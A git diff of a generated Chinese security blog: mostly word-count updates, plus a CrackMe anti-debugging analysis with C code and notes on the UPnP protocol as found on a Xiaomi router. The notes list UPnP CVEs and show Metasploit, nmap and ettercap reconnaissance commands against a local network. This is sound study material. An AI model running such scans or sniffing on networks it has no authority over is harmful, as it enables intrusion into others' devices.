diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index 36898115..8e63852b 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -651,7 +651,7 @@ - 23k + 23.1k diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html index f2adbcb0..ced2c49d 100644 --- a/2018/11/16/BIBA访问控制模型实现(python)/index.html +++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html @@ -839,7 +839,7 @@ - 23k + 23.1k diff --git a/2018/12/15/miio-control/index.html b/2018/12/15/miio-control/index.html index e60349e9..4612ebe3 100644 --- a/2018/12/15/miio-control/index.html +++ b/2018/12/15/miio-control/index.html @@ -741,7 +741,7 @@ - 23k + 23.1k diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html index 12688d99..f782176c 100644 --- a/2018/12/23/基于规则引擎发现IOT设备/index.html +++ b/2018/12/23/基于规则引擎发现IOT设备/index.html @@ -741,7 +741,7 @@ - 23k + 23.1k diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html index 8661fadf..26346212 100644 --- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html +++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html @@ -869,7 +869,7 @@ Server -------wire----------| - 23k + 23.1k diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html index 08849776..322ec94e 100644 --- a/2019/02/22/qq数据库的加密解密/index.html +++ b/2019/02/22/qq数据库的加密解密/index.html @@ -718,7 +718,7 @@ - 23k + 23.1k diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html index 7dfafb3a..d7386a19 100644 --- a/2019/03/16/小米固件工具mkxqimage/index.html +++ b/2019/03/16/小米固件工具mkxqimage/index.html @@ -725,7 +725,7 @@ - 23k + 23.1k diff --git a/2019/03/23/auto-send-WX/index.html b/2019/03/23/auto-send-WX/index.html index 7b727985..2afee549 100644 --- a/2019/03/23/auto-send-WX/index.html +++ b/2019/03/23/auto-send-WX/index.html @@ -735,7 +735,7 @@ - 23k + 23.1k diff --git a/2019/03/25/Samba-CVE/index.html b/2019/03/25/Samba-CVE/index.html index 75de4c8d..dba3232a 100644 --- a/2019/03/25/Samba-CVE/index.html +++ b/2019/03/25/Samba-CVE/index.html @@ -760,7 +760,7 @@ - 23k + 23.1k diff --git a/2019/03/28/逆向工程实验/index.html b/2019/03/28/逆向工程实验/index.html index 396d4942..261adfb5 100644 --- a/2019/03/28/逆向工程实验/index.html +++ b/2019/03/28/逆向工程实验/index.html @@ -105,7 +105,7 @@ - + @@ -426,7 +426,7 @@ - 3k 字 + 3.1k 字 @@ -580,15 +580,9 @@
  • 分析CrackMe1.exe是如何通过父进程检测实现反OllyDbg调试的
  • 分析除父进程检测外,该程序用到的反动态调试技术
  • -

    父进程检测

    一般双击运行的进程的父进程都是explorer.exe,但是如果进程被调试父进程则是调试器进程。也就是说如果父进程不是explorer.exe则可以认为程序正在被调试。
    ‘’’
    BOOL IsInDebugger(){
    HANDLE hProcessSnap = NULL;
    char Expchar[] =”\EXPLORER.EXE”;
    char szBuffer[MAX_PATH]={0};
    char FileName[MAX_PATH]={0};
    PROCESSENTRY32 pe32 = {0};

    -

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //得到所有进程的列表快照
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    return FALSE;

    -

    pe32.dwSize = sizeof(PROCESSENTRY32);

    -

    if (!Process32First(hProcessSnap, &pe32)) // 查找进程
    {
    CloseHandle (hProcessSnap);
    return FALSE;
    }

    -

    do // 遍历所有进程
    {
    if(pe32.th32ProcessID==GetCurrentProcessId() )//判断是否是自己的进程?
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe32.th32ParentProcessID); //打开父进程
    if (hProcess)
    {
    if (GetModuleFileNameEx(hProcess, NULL, FileName, MAX_PATH) ) // 得到父进程名
    {
    GetWindowsDirectory(szBuffer,MAX_PATH); //得到系统所在目录
    strcat(szBuffer,Expchar); //组合成类似的字串D:\Winnt\Explorer.EXE
    if(strcmpi (FileName,szBuffer)) // 比较当前是否为Explorer.EXE进程
    {
    return TRUE; // 父进程若不是Explorer.EXE,则是调试器
    }
    else
    {
    return FALSE; // 无法获得进程名
    }
    CloseHandle (hProcess);
    }
    else
    {
    return FALSE;//无权访问该进程
    }
    }
    }

    -
    while (Process32Next(hProcessSnap, &pe32));
    -  CloseHandle (hProcessSnap);
    -  return FALSE;
    -

    }
    ‘’’
    由上述示例代码,我们可以看到父进程检测中调用了GetCurrentProcessId函数来判断。
    因此在Ollydbg中首先找到GetCurrentProcessId模块(Ctrl+N),然后设置断点

    查看断点是否设置成功

    运行该程序,在断点00401932停下,打开任务管理器,CrackMe1的pid为4020=0xFB4
    程序在调用完GetCurrentProcessId后,pid被放入EAX寄存器中,值为0xFB4

    然后调用Openprocess函数,其参数processId为0xFB4,返回进程(CrackMe1)的句柄
    通过ntdll.dll中的LoadLibraryA和GetProcAddress函数找到NtQueryInformationProcess:

    1
    PNTQUERYINFORMATIONPROCESS  NtQueryInformationProcess = (PNTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandleA("ntdll"),"NtQueryInformationProcess");

    +

    父进程检测

    一般双击运行的进程的父进程都是explorer.exe,但是如果进程被调试父进程则是调试器进程。也就是说如果父进程不是explorer.exe则可以认为程序正在被调试。

    +
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    BOOL IsInDebugger(){
    HANDLE hProcessSnap = NULL;
    char Expchar[] ="\\EXPLORER.EXE";
    char szBuffer[MAX_PATH]={0};
    char FileName[MAX_PATH]={0};
    PROCESSENTRY32 pe32 = {0};

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //得到所有进程的列表快照
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    return FALSE;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32)) // 查找进程
    {
    CloseHandle (hProcessSnap);
    return FALSE;
    }

    do // 遍历所有进程
    {
    if(pe32.th32ProcessID==GetCurrentProcessId() )//判断是否是自己的进程?
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe32.th32ParentProcessID); //打开父进程
    if (hProcess)
    {
    if (GetModuleFileNameEx(hProcess, NULL, FileName, MAX_PATH) ) // 得到父进程名
    {
    GetWindowsDirectory(szBuffer,MAX_PATH); //得到系统所在目录
    strcat(szBuffer,Expchar); //组合成类似的字串D:\Winnt\Explorer.EXE
    if(strcmpi (FileName,szBuffer)) // 比较当前是否为Explorer.EXE进程
    {
    return TRUE; // 父进程若不是Explorer.EXE,则是调试器
    }
    else
    {
    return FALSE; // 无法获得进程名
    }
    CloseHandle (hProcess);
    }
    else
    {
    return FALSE;//无权访问该进程
    }
    }
    }
    while (Process32Next(hProcessSnap, &pe32));
    CloseHandle (hProcessSnap);
    return FALSE;
    }
    +

    由上述示例代码,我们可以看到父进程检测中调用了GetCurrentProcessId函数来判断。
    因此在Ollydbg中首先找到GetCurrentProcessId模块(Ctrl+N),然后设置断点

    查看断点是否设置成功

    运行该程序,在断点00401932停下,打开任务管理器,CrackMe1的pid为4020=0xFB4
    程序在调用完GetCurrentProcessId后,pid被放入EAX寄存器中,值为0xFB4

    然后调用Openprocess函数,其参数processId为0xFB4,返回进程(CrackMe1)的句柄
    通过ntdll.dll中的LoadLibraryA和GetProcAddress函数找到NtQueryInformationProcess:

    1
    PNTQUERYINFORMATIONPROCESS  NtQueryInformationProcess = (PNTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandleA("ntdll"),"NtQueryInformationProcess");


    用OpenProcess获得的句柄设置NtQueryInformationProcess的对应参数,然后调用NtQueryInformationProcess,从其返回值中可以获取到CrackMe1.exe的父进程PID=0xDB4=3508,在任务管理器中查看进程名确实是ollydbg
    然后再次调用openprocess获得父进程的句柄

    最后,调用GetModuleFileNameExA通过OpenProcess返回的句柄获取父进程的文件名:

    至此,成功获取到父进程的文件名,接下来将进行父进程文件名与“c:\windows\explore.exe”的字符串比较。

    EDX中保存explorer字符串,ESI中保存ollydbg字符串
    然后进入循环逐位比较,比较流程是,首先取esi中第一个字符到eax,将EAX的值减去41然后存入exc中,并与19比较大小,判断是否大写,若是则eax加上20转化为小写;转化为小写之后,对edx中的字符做同样操作,然后test eax eax判断是否比较完毕,若没有则逐个比较,直到遇到不相等的字符。

    其他检测


    用EnumWindows枚举所有屏幕上的顶层窗口,并将窗口句柄传送给应用程序定义的回调函数,此处的回调函数调用了GetWindowTextA将指定窗口的标题栏(如果有的话)的文字拷贝到缓冲区内

    将得到的窗口标题与”ollydbg”等进行比较,看是否为调试器。


    @@ -869,7 +863,7 @@ - 23k + 23.1k diff --git a/2019/04/15/Caving-db-storage/index.html b/2019/04/15/Caving-db-storage/index.html index 6e126946..9f3469c3 100644 --- a/2019/04/15/Caving-db-storage/index.html +++ b/2019/04/15/Caving-db-storage/index.html @@ -784,7 +784,7 @@ - 23k + 23.1k diff --git a/2019/04/21/XIAOMI-UPnP/index.html b/2019/04/21/XIAOMI-UPnP/index.html index ecb0d1b3..179affd4 100644 --- a/2019/04/21/XIAOMI-UPnP/index.html +++ b/2019/04/21/XIAOMI-UPnP/index.html @@ -903,7 +903,7 @@ - 23k + 23.1k diff --git a/about/index.html b/about/index.html index bf76f9bb..fa27efc2 100644 --- a/about/index.html +++ b/about/index.html @@ -460,7 +460,7 @@ - 23k + 23.1k diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html index f1a63b4e..4f21aa28 100644 --- a/archives/2000/01/index.html +++ b/archives/2000/01/index.html @@ -490,7 +490,7 @@ - 23k + 23.1k diff --git a/archives/2000/index.html b/archives/2000/index.html index 629b16cd..ccf6cf43 100644 --- a/archives/2000/index.html +++ b/archives/2000/index.html @@ -490,7 +490,7 @@ - 23k + 23.1k diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html index 012feaae..ee758192 100644 --- a/archives/2018/11/index.html +++ b/archives/2018/11/index.html @@ -490,7 +490,7 @@ - 23k + 23.1k diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html index 6f4e3941..6253fd62 100644 --- a/archives/2018/12/index.html +++ b/archives/2018/12/index.html @@ -525,7 +525,7 @@ - 23k + 23.1k diff --git a/archives/2018/index.html b/archives/2018/index.html index b225262f..d47d8568 100644 --- a/archives/2018/index.html +++ b/archives/2018/index.html @@ -560,7 +560,7 @@ - 23k + 23.1k diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html index ac623ebb..f678e189 100644 --- a/archives/2019/01/index.html +++ b/archives/2019/01/index.html @@ -490,7 +490,7 @@ - 23k + 23.1k diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html index d90d70c4..c918d49c 100644 --- a/archives/2019/02/index.html +++ b/archives/2019/02/index.html @@ -490,7 +490,7 @@ - 23k + 23.1k diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html index 39a884ea..30f64b41 100644 --- a/archives/2019/03/index.html +++ b/archives/2019/03/index.html @@ -595,7 +595,7 @@ - 23k + 23.1k diff --git a/archives/2019/04/index.html b/archives/2019/04/index.html index 6cce9417..eedb7da7 100644 --- a/archives/2019/04/index.html +++ b/archives/2019/04/index.html @@ -525,7 +525,7 @@ - 23k + 23.1k diff --git a/archives/2019/index.html b/archives/2019/index.html index 6efc87f2..b59b7558 100644 --- a/archives/2019/index.html +++ b/archives/2019/index.html @@ -735,7 +735,7 @@ - 23k + 23.1k diff --git a/archives/index.html b/archives/index.html index c08de17b..d8a425a5 100644 --- a/archives/index.html +++ b/archives/index.html @@ -814,7 +814,7 @@ - 23k + 23.1k diff --git a/archives/page/2/index.html b/archives/page/2/index.html index fd0c5968..68d7f721 100644 --- a/archives/page/2/index.html +++ b/archives/page/2/index.html @@ -534,7 +534,7 @@ - 23k + 23.1k diff --git a/bookmarks/index.html b/bookmarks/index.html index a446c159..eb710fa6 100644 --- a/bookmarks/index.html +++ b/bookmarks/index.html @@ -512,7 +512,7 @@ - 23k + 23.1k diff --git a/categories/IOT/index.html b/categories/IOT/index.html index 3d8101af..7bec2682 100644 --- a/categories/IOT/index.html +++ b/categories/IOT/index.html @@ -549,7 +549,7 @@ - 23k + 23.1k diff --git a/categories/index.html b/categories/index.html index 1a4c7232..24749696 100644 --- a/categories/index.html +++ b/categories/index.html @@ -462,7 +462,7 @@ - 23k + 23.1k diff --git a/categories/二进制/index.html b/categories/二进制/index.html index ba261989..ac18c87d 100644 --- a/categories/二进制/index.html +++ b/categories/二进制/index.html @@ -471,7 +471,7 @@ - 23k + 23.1k diff --git a/categories/加密解密/index.html b/categories/加密解密/index.html index 9a85cef9..b1298f42 100644 --- a/categories/加密解密/index.html +++ b/categories/加密解密/index.html @@ -471,7 +471,7 @@ - 23k + 23.1k diff --git a/categories/杂七杂八/index.html b/categories/杂七杂八/index.html index 8ed314bb..d4a55a90 100644 --- a/categories/杂七杂八/index.html +++ b/categories/杂七杂八/index.html @@ -471,7 +471,7 @@ - 23k + 23.1k diff --git a/categories/理论学习/index.html b/categories/理论学习/index.html index e59977ed..b7f96cfd 100644 --- a/categories/理论学习/index.html +++ b/categories/理论学习/index.html @@ -471,7 +471,7 @@ - 23k + 23.1k diff --git a/categories/顶会论文/index.html b/categories/顶会论文/index.html index 1b3af87e..03c7c563 100644 --- a/categories/顶会论文/index.html +++ b/categories/顶会论文/index.html @@ -523,7 +523,7 @@ - 23k + 23.1k diff --git a/index.html b/index.html index 3ee7876c..ce1ed902 100644 --- a/index.html +++ b/index.html @@ -773,7 +773,7 @@ MotivationDBMS(数据库管理系统) - 3k 字 + 3.1k 字 @@ -2345,7 +2345,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q - 23k + 23.1k diff --git a/page/2/index.html b/page/2/index.html index 32b314ff..f6f94433 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -792,7 +792,7 @@ - 23k + 23.1k diff --git a/search.xml b/search.xml index 0de23e8f..4df7ff57 100644 --- a/search.xml +++ b/search.xml @@ -1,149 +1,335 @@ - - - <![CDATA[小米路由器_MiniUPnP协议]]> - %2F2019%2F04%2F21%2FXIAOMI-UPnP%2F - + + + + + + 小米路由器_MiniUPnP协议 + + /2019/04/21/XIAOMI-UPnP/ + + 概述

    HomePage
    OpenWRT与miniUPnP

    MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。
    在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端(MiniUPnPc)使用libnatpmp来支持NAT-PMP。
    MiniUPnP守护程序(MiniUPnPd)支持OpenBSD,FreeBSD,NetBSD,DragonFly BSD(Open)Solaris和Mac OS X以及pf或ipfw(ipfirewall)或ipf和Linux with netfilter。 MiniUPnP客户端(MiniUPnPc)和MiniSSDPd是便携式的,可以在任何POSIX系统上运行。 MiniUPnPc也适用于MS Windows和AmigaOS(版本3和4)。

    UPnP IGD客户端轻量级库和UPnP IGD守护进程

    大多数家庭adsl /有线路由器和Microsoft Windows 2K/XP都支持UPnP协议。 MiniUPnP项目的目标是提供一个免费的软件解决方案来支持协议的“Internet网关设备”部分。

    用于UPnP设备的Linux SDK(libupnp)对我来说似乎太沉重了。 我想要最简单的库,占用空间最小,并且不依赖于其他库,例如XML解析器或HTTP实现。 所有代码都是纯ANSI C.

    miniupnp客户端库在x86 PC上编译,代码大小不到50KB。
    miniUPnP守护程序比任何其他IGD守护程序小得多,因此非常适合在低内存设备上使用。 它也只使用一个进程而没有其他线程,不使用任何system()或exec()调用,因此保持系统资源使用率非常低。
    该项目分为两个主要部分:

    • MiniUPnPc,客户端库,使应用程序能够访问网络上存在的UPnP“Internet网关设备”提供的服务。 在UPnP术语中,MiniUPnPc是UPnP控制点。
    • MiniUPnPd,一个守护进程,通过作为网关的linux或BSD(甚至Solaris)为您的网络提供这些服务。 遵循UPnP术语,MiniUPnPd是UPnP设备。
      开发MiniSSDPd与MiniUPnPc,MiniUPnPd和其他协作软件一起工作:1. MiniSSDPd监听网络上的SSDP流量,因此MiniUPnPc或其他UPnP控制点不需要执行发现过程,并且可以更快地设置重定向; 2. MiniSSDPd还能够代表MiniUPnPd或其他UPnP服务器软件回复M-SEARCH SSDP请求。 这对于在同一台机器上托管多个UPnP服务很有用。
      守护进程现在也可以使用netfilter用于linux 2.4.x和2.6.x. 可以使它在运行OpenWRT的路由器设备上运行。
      由于某些原因,直接使用MiniUPnP项目中的代码可能不是一个好的解决方案。
      由于代码很小且易于理解,因此为您自己的UPnP实现提供灵感是一个很好的基础。 C ++中的KTorrent UPnP插件就是一个很好的例子。

    MiniUPnP客户端库的实用性

    只要应用程序需要侦听传入的连接,MiniUPnP客户端库的使用就很有用。例如:P2P应用程序,活动模式的FTP客户端,IRC(用于DCC)或IM应用程序,网络游戏,任何服务器软件。

    • 路由器的UPnP IGD功能的典型用法是使用MSN Messenger的文件传输。 MSN Messenger软件使用Windows XP的UPnP API打开传入连接的端口。 为了模仿MS软件,最好也使用UPnP。
    • 已经为XChat做了一个补丁,以展示应用程序如何使用miniupnp客户端库。
    • 传输,一个免费的软件BitTorrent客户端正在使用miniupnpc和libnatpmp。

    MiniUPnP守护进程的实用性

    UPnP和NAT-PMP用于改善NAT路由器后面的设备的互联网连接。 诸如游戏,IM等的任何对等网络应用可受益于支持UPnP和/或NAT-PMP的NAT路由器。最新一代的Microsoft XBOX 360和Sony Playstation 3游戏机使用UPnP命令来启用XBOX Live服务和Playstation Network的在线游戏。 据报道,MiniUPnPd正在与两个控制台正常工作。 它可能需要一个精细的配置调整。

    安全

    UPnP实施可能会受到安全漏洞的影响。 错误执行或配置的UPnP IGD易受攻击。 安全研究员HD Moore做了很好的工作来揭示现有实施中的漏洞:通用即插即用(PDF)中的安全漏洞。 一个常见的问题是让SSDP或HTTP/SOAP端口对互联网开放:它们应该只能从LAN访问。

    协议栈

    工作流程

    Linux体系结构

    发现


    给定一个IP地址(通过DHCP获得),UPnP网络中的第一步是发现。
    当一个设备被加入到网络中并想知道网络上可用的UPnP服务时,UPnP检测协议允许该设备向控制点广播自己的服务。通过UDP协议向端口1900上的多播地址239.255.255.250发送发现消息。此消息包含标头,类似于HTTP请求。此协议有时称为HTTPU(HTTP over UDP):

    1
    2
    3
    4
    5
    M-SEARCH * HTTP / 1.1
    主机:239.255.255.250 :1900
    MAN:ssdp:discover
    MX:10
    ST:ssdp:all

    所有其他UPnP设备或程序都需要通过使用UDP单播将类似的消息发送回设备来响应此消息,并宣布设备或程序实现哪些UPnP配置文件。对于每个配置文件,它实现一条消息发送:

    1
    2
    3
    4
    5
    6
    7
    HTTP / 1.1 200 OK
    CACHE-CONTROL:max-age = 1800
    EXT:
    LOCATION:http://10.0.0.138:80 / IGD.xml
    SERVER:SpeedTouch 510 4.0.0.9.0 UPnP / 1.0(DG233B00011961)
    ST:urn:schemas-upnp-org:service:WANPPPConnection:1
    USN:uuid:UPnP-SpeedTouch510 :: urn:schemas-upnp-org:service:WANPPPConnection:1

    类似地,当一个控制点加入到网络中的时候,它也能够搜索到网络中存在的、感兴趣的设备相关信息。这两种类型的基础交互是一种仅包含少量、重要相关设备信息或者它的某个服务。比如,类型、标识和指向更详细信息的链接。
    UPnP检测协议是 基于简单服务发现协议(SSDP) 的。

    描述

    UPnP网络的下一步是描述。当一个控制点检测到一个设备时,它对该设备仍然知之甚少。为了使控制点了解更多关于该设备的信息或者和设备进行交互,控制点必须从设备发出的检测信息中包含的URL获取更多的信息。

    某个设备的UPnP描述是 XML 的方式,通过http协议,包括品牌、厂商相关信息,如型号名和编号、序列号、厂商名、品牌相关URL等。描述还包括一个嵌入式设备和服务列表,以及控制、事件传递和存在相关的URL。对于每种设备,描述还包括一个命令或动作列表,包括响应何种服务,针对各种动作的参数;这些变量描述出运行时设备的状态信息,并通过它们的数据类型、范围和事件来进行描述。

    控制


    UPnP网络的下一步是控制。当一个控制点获取到设备描述信息之后,它就可以向该设备发送指令了。为了实现此,控制点发送一个合适的控制消息至服务相关控制URL(包含在设备描述中)。

    1
    2
    3
    4
    5
    6
    7
    <service>
    <serviceType> urn:schemas-upnp-org:service:WANPPPConnection:1 </ serviceType>
    <serviceId> urn:upnp-org: serviceId:wanpppc:pppoa </ serviceId>
    <controlURL> / upnp / control / wanpppcpppoa </ controlURL>
    <eventSubURL> / upnp / event / wanpppcpppoa </ eventSubURL>
    <SCPDURL> /WANPPPConnection.xml </ SCPDURL>
    </ service>

    要发送SOAP请求,只需要controlURL标记内的URL。控制消息也是通过 简单对象访问协议(SOAP) 用XML来描述的。类似函数调用,服务通过返回动作相关的值来回应控制消息。动作的效果,如果有的话,会反应在用于刻画运行中服务的相关变量。

    事件通知

    下一步是事件通知。UPnP中的事件 协议基于GENA 。一个UPnP描述包括一组命令列表和刻画运行时状态信息的变量。服务在这些变量改变的时候进行更新,控制点可以进行订阅以获取相关改变。

    服务通过发送事件消息来发布更新。事件消息包括一个或多个状态信息变量以及它们的当前数值。这些消息也是采用XML的格式,用通用事件通知体系进行格式化。一个特殊的初始化消息会在控制点第一次订阅的时候发送,它包括服务相关的变量名及值。为了支持多个控制点并存的情形,事件通知被设计成对于所有的控制点都平行通知。因此,所有的订阅者同等地收到所有事件通知。
    当状态变量更改时,新状态将发送到已订阅该事件的所有程序/设备。程序/设备可以通过eventSubURL来订阅服务的状态变量,该URL可以在LOCATION指向的URL中找到。

    1
    2
    3
    4
    5
    6
    7
    <service>
    <serviceType> urn:schemas-upnp-org:service:WANPPPConnection:1 </ serviceType>
    <serviceId> urn:upnp-org:serviceId:wanpppc:pppoa </ serviceId>
    <controlURL> / upnp / control / wanpppcpppoa </ controlURL>
    <eventSubURL> / upnp / event / wanpppcpppoa <
    <SCPDURL> /WANPPPConnection.xml </ SCPDURL>
    </ service>

    展示

    最后一步是展示。如果设备带有存在URL,那么控制点可以通过它来获取设备存在信息,即在浏览器中加载URL,并允许用户来进行相关控制或查看操作。具体支持哪些操作则是由存在页面和设备完成的。

    NAT穿透

    UPnP为NAT(网络地址转换)穿透带来了一个解决方案:互联网网关设备协议(IGD)。NAT穿透允许UPnP数据包在没有用户交互的情况下,无障碍的通过路由器或者防火墙(假如那个路由器或者防火墙支持NAT)。

    SOAP和UPnP

    协议全称
    UPnPUniversal Plug and Play
    SSDPSimple Service Discovery Protocol
    SCPDService Control Protocol Definition
    SOAPSimple Object Access Protocol

    UPnP - Discovery

    UPnP – Description

    • XML文件通常托管在高位的TCP端口
    • 版本信息
      upnp.org spec
      通常为1.0
    • 设备定义
      型号名和编号、序列号、厂商名、品牌相关URL
      服务列表:服务类型;SCPD URL;Control URL;Event URL

      UPnP – SCPD

    • 定义服务动作和参数的XML文件
    • 版本信息
      和描述一致
    • 动作列表
      动作名
      参数:参数名、方向(输入输出)、变量名
    • 变量列表
      变量名、数据类型

      UPnP – Control

    • 这里用到了SOAP
    • 主要是RPC服务或CGI脚本的前端
    • SOAP封装
      • XML格式的API调用
      • 描述XML中的服务类型
      • 来自SCPD XML的动作名称和参数
    • POST封装到control URL

      TL;DR

      好的一面

    • Control AV equipment
    • Home automation
    • Network administration
    • Physical security systems (ok, easy there buddy)
    • Industrial monitoring and control (uh…what?)
    • And this is just the official specs
      All our devices can talk to each other! Brave new worlds of remote control and automation! Have your toaster turn on the lights, set the TV to the news channel, and send you a text message when breakfast is ready! The future is now! Nothing could possibly go wrong!

      关于安全

    1. 嵌入式设备
    • 有限的内存和处理能力
    • 硬件和软件开发人员通常是完全不同的公司
    • 复制和粘贴开发
    • 保持低成本
    • 不完全关心/懂行
    1. 部署
    • 数以百万计的面向互联网的UPnP设备
    • 要计算的供应商太多
    • 前端是标准化的,后端甚至在同一供应商内也有所不同
    • 难以修补/更新固件
    • 仅仅因为你可以,并不意味着你应该
    1. XML解析很难
    • 需要大量系统资源
    • 自由格式的用户提供的数据
    • 2013年,2.5%的CVE与XML相关[2],其中,近36%的患者CVSS严重程度为7或以上
    • 随着XML的用例增长,版本也越来越多:递归错误,XXE,命令注入等……

    攻击面

    • UPnP服务
      • HTTP头解析
      • SSDP解析
      • OS命令注入
      • 信息披露
    • SOAP服务
      • HTTP头解析
      • XML解析
      • 注射用品
      • OS命令
      • SQL注入
      • SOAP注入
      • 信息披露
      • 可疑级别的未经身份验证的设备控制

      Attack surface – UPnP

    • CVE-2012-5958
      去年由HD Moore(众多之一)披露;调用strncpy将ST头中的字符串复制到TempBuf[COMMAND_LEN];strncpy的长度参数基于冒号之间的字符数

    • D-Link DIR-815 UPnP命令注入
      去年由Zach Cutlip披露;ST头的内容作为参数传递给M-SEARCH.sh;无需验证

    Attack surface – SOAP

    • XBMC soap_action_name缓冲区溢出
      由n00b于2010年10月公布;ProcessHttpPostRequest函数分配静态大小的缓冲区;调用sscanf将SOAPAction标头的值复制到其中,没有边界检查

    • 博通SetConnectionType格式字符串漏洞
      去年Leon Juranic和Vedran Kajic透露;SetConnectionType操作将NewConnectionType参数的值提供给snprintf;不对用户控制的值进行检查

    • CVE-2014-3242
      今年早些时候由pnig0s披露;SOAPpy允许在SOAP请求中声明用户定义的XML外部实体;不对用户控制的值进行检查

    • CVE-2014-2928
      Brandon Perry今年早些时候公布了(PBerry Crunch!);F5 iControl API set_hostname操作将hostname参数的值传递给shell;再一次,不对用户控制的值进行消毒

    • CVE-2011-4499,CVE-2011-4500,CVE-2011-4501,CVE-2011-4503,CVE-2011-4504,CVE-2011-4505,CVE-2011-4506,更多?
      Daniel Garcia在Defcon 19上披露; UPnP IGD 使用AddPortMapping和DeletePortMapping等操作来允许远程管理路由规则;缺乏身份验证,可在WAN接口上使用; 使攻击者能够执行:•NAT遍历 •外部/内部主机端口映射 •内部LAN的外部网络扫描

    如何测试

    对小米WIFI路由器的UPnP分析

    使用工具扫描

    使用Metasploit检查

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    msfconsole
    msf5 > use auxiliary/scanner/upnp/ssdp_msearch
    msf5 auxiliary(scanner/upnp/ssdp_msearch) > set RHOSTS 192.168.31.0/24
    RHOSTS => 192.168.31.0/24
    msf5 auxiliary(scanner/upnp/ssdp_msearch) > run

    [*] Sending UPnP SSDP probes to 192.168.31.0->192.168.31.255 (256 hosts)
    [*] 192.168.31.1:1900 SSDP MiWiFi/x UPnP/1.1 MiniUPnPd/2.0 | http://192.168.31.1:5351/rootDesc.xml | uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8c::upnp:rootdevice
    [*] Scanned 256 of 256 hosts (100% complete)
    [*] Auxiliary module execution completed

    从中可以得到这些信息:

    • UPnP/1.1
    • MiniUPnPd/2.0

    使用nmap进行扫描

    1
    2
    3
    4
    5
    nmap -p1900,5351 192.168.31.1

    PORT STATE SERVICE
    1900/tcp filtered upnp
    5351/tcp open nat-pmp

    nat-pmp
    NAT端口映射协议(英语:NAT Port Mapping Protocol,缩写NAT-PMP)是一个能自动创建网络地址转换(NAT)设置和端口映射配置而无需用户介入的网络协议。该协议能自动测定NAT网关的外部IPv4地址,并为应用程序提供与对等端交流通信的方法。NAT-PMP于2005年由苹果公司推出,为更常见的ISO标准互联网网关设备协议(被许多NAT路由器实现)的一个替代品。该协议由互联网工程任务组(IETF)在RFC 6886中发布。
    NAT-PMP使用用户数据报协议(UDP),在5351端口运行。该协议没有内置的身份验证机制,因为转发一个端口通常不允许任何活动,也不能用STUN方法实现。NAT-PMP相比STUN的好处是它不需要STUN服务器,并且NAT-PMP映射有一个已知的过期时间,应用可以避免低效地发送保活数据包。
    NAT-PMP是端口控制协议(PCP)的前身。
    https://laucyun.com/25118b151a3386b7beff250835fe7e98.html
    2014年10月,Rapid7安全研究员Jon Hart公布,因厂商对NAT-PMP协议设计不当,估计公网上有1200万台网络设备受到NAT-PMP漏洞的影响。NAT-PMP协议的规范中特别指明,NAT网关不能接受来自外网的地址映射请求,但一些厂商的设计并未遵守此规定。黑客可能对这些设备进行恶意的端口映射,进行流量反弹、代理等攻击。

    netstat扫描

    1
    2
    3
    4
    Proto Recv-Q Send-Q Local Address         Foreign Address    State    in out PID/Program name
    tcp 0 0 :::5351 :::* LISTEN 0 0 18068/miniupnpd
    udp 0 0 192.168.31.1:5351 0.0.0.0:* 0 0 18068/miniupnpd
    udp 0 0 0.0.0.0:1900 0.0.0.0:* 1414113 1827652 18068/miniupnpd

    端口1900在UPnP发现的过程中使用,5351通常为端口映射协议NAT-PMP运行的端口

    miranda

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
